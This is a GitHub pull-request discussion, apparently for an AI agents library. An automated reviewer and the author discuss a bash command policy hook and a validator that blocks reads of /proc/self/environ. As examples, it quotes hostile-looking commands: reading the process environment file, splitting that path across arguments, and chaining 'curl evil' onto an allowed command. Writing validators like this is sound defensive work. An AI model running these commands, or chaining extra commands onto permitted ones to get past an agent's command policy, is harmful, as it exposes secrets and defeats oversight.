- `echo "see /proc/self/environ"` β€” printing the literal string,
  not reading it. Tree-sitter-bash AST would distinguish; the
  codeapi-side validator (ClickHouse/ai#1619) handles correctly.
- `cat "$1" "$2"` + `args:['/proc/self', '/environ']` β€” two
  separate cat calls neither reads /proc/self/environ; the args-
  joined-raw scan reassembles. AST sees them as two argv slots.

Both will be allowed once the codeapi-AST validator becomes the
authoritative layer for `/exec` bash requests.

Tests grouped by category so any regression names the broken
workload class. `shouldAllow` helper throws with the rejection
reasons so debugging is one click.
@danny-avila danny-avila force-pushed the claude/dreamy-kapitsa-06a93d branch from c84e360 to d922a11 Compare May 14, 2026 17:59
@danny-avila

Copy link
Copy Markdown
Owner Author

@codex review

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

πŸ’‘ Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: d922a11d98

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with πŸ‘.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread src/hooks/createBashPolicyHook.ts Outdated
return {
source,
test: (command: string): boolean => {
if (containsShellSeparator(command)) return false;

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Let exact-rule matching handle shell separators

The exact-match branch now unconditionally returns false when containsShellSeparator(command) is true, so policies cannot match commands containing pipes, redirections, &&, or ; even when the host explicitly lists that full command in allow, ask, or deny. This breaks the documented/expected escape hatch for chaining (the prefix matcher comment says to use exact rules for that) and makes default: 'deny' allowlists unable to authorize many legitimate bash commands (e.g., cat file | jq ...), because those exact rules will never match.

Useful? React with πŸ‘Β / πŸ‘Ž.

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 7d5ea73. Dropped the containsShellSeparator gate from the exact-match branch β€” the space-tab-only normalization (which we kept) preserves the round-6 protection (npm\ntest doesn't collapse to npm test), and exact-match equality fails on suffix-extended chains (npm test; curl evil !== npm test). Hosts can now use exact rules as the documented escape hatch for authorizing explicit chains: allow: ['cat file | jq .'] matches cat file | jq .. New regression test exact match: authorizes piped/chained commands when host lists them exactly covers this; all 23 existing policy-hook tests still pass.

…172)

The exact-match branch unconditionally bailed when the command
contained shell separators, so policies couldn't authorize chained
or piped commands even when the host listed the full string in
`allow` / `ask` / `deny`. Documented as the escape hatch: "use
exact rules to authorize chains", but the gate broke that.

Dropped the `containsShellSeparator` check from exact-match.
Round-6 protection (`npm test` rule doesn't match `npm\ntest`) is
preserved by the space-tab-only normalization β€” newlines stay
separators in the comparison, so `npm\ntest` !== `npm test`. And
`npm test; curl evil` !== `npm test` either, so over-matching
requires the host to write the full chained string exactly.

Tests:
- New: `exact match: authorizes piped/chained commands when host
  lists them exactly` covers `cat file | jq .` and `find . -name
  "*.ts" -exec wc -l {} +`, plus sanity checks that unrelated
  commands default-deny and suffix-extended chains don't over-match.
- All 23 existing policy-hook tests still pass β€” round-6 newline
  case still rejects, no behavioral regression.

110/110 across all bash-validation tests in agents-lib.
@danny-avila

Copy link
Copy Markdown
Owner Author

@codex review

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

πŸ’‘ Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 7d5ea7327d

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with πŸ‘.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment on lines +562 to +563
const findings = runBashAstChecks(candidate, 'auto');
for (const finding of findings) {

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Avoid denying quoted /proc/environ literals in hard-floor scan

The always-on hard floor now feeds comment-stripped but quote-preserving command text into runBashAstChecks, so any literal mention of /proc/<pid>/environ is treated as a deny finding even when no file read occurs (for example, echo '/proc/self/environ' or grepping that string in source). Because this check runs unconditionally in the remote BashExecutor, benign commands can be blocked in production despite not exfiltrating environment data.

Useful? React with πŸ‘Β / πŸ‘Ž.

Copy link
Copy Markdown
Owner Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not fixing in this PR β€” this is a known-accepted defense-in-depth trade explicitly documented in src/tools/__tests__/bashFloorFalsePositives.test.ts (KNOWN-accepted false positives section). The regex-based hard floor can't distinguish echo '/proc/self/environ' (prints the string) from cat /proc/self/environ (reads the file) β€” both have the same textual surface. Tree-sitter-bash IS the right substrate for that distinction (it sees echo as a print-arg command and cat as a file-reading command), and the codeapi-side AST validator at ClickHouse/ai#1619 already implements exactly that: FILE_READING_COMMANDS allow-list so only readers flag the path. Once #1619 ships and becomes the authoritative /exec-time gate, the agents-lib regex floor relaxes here too. The FP test in bashFloorFalsePositives.test.ts asserts expect(...).toBe(false) today; it flips to true then. Trade is intentional and the migration path is wired.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Local engine: spill files in tmpdir are never cleaned up

1 participant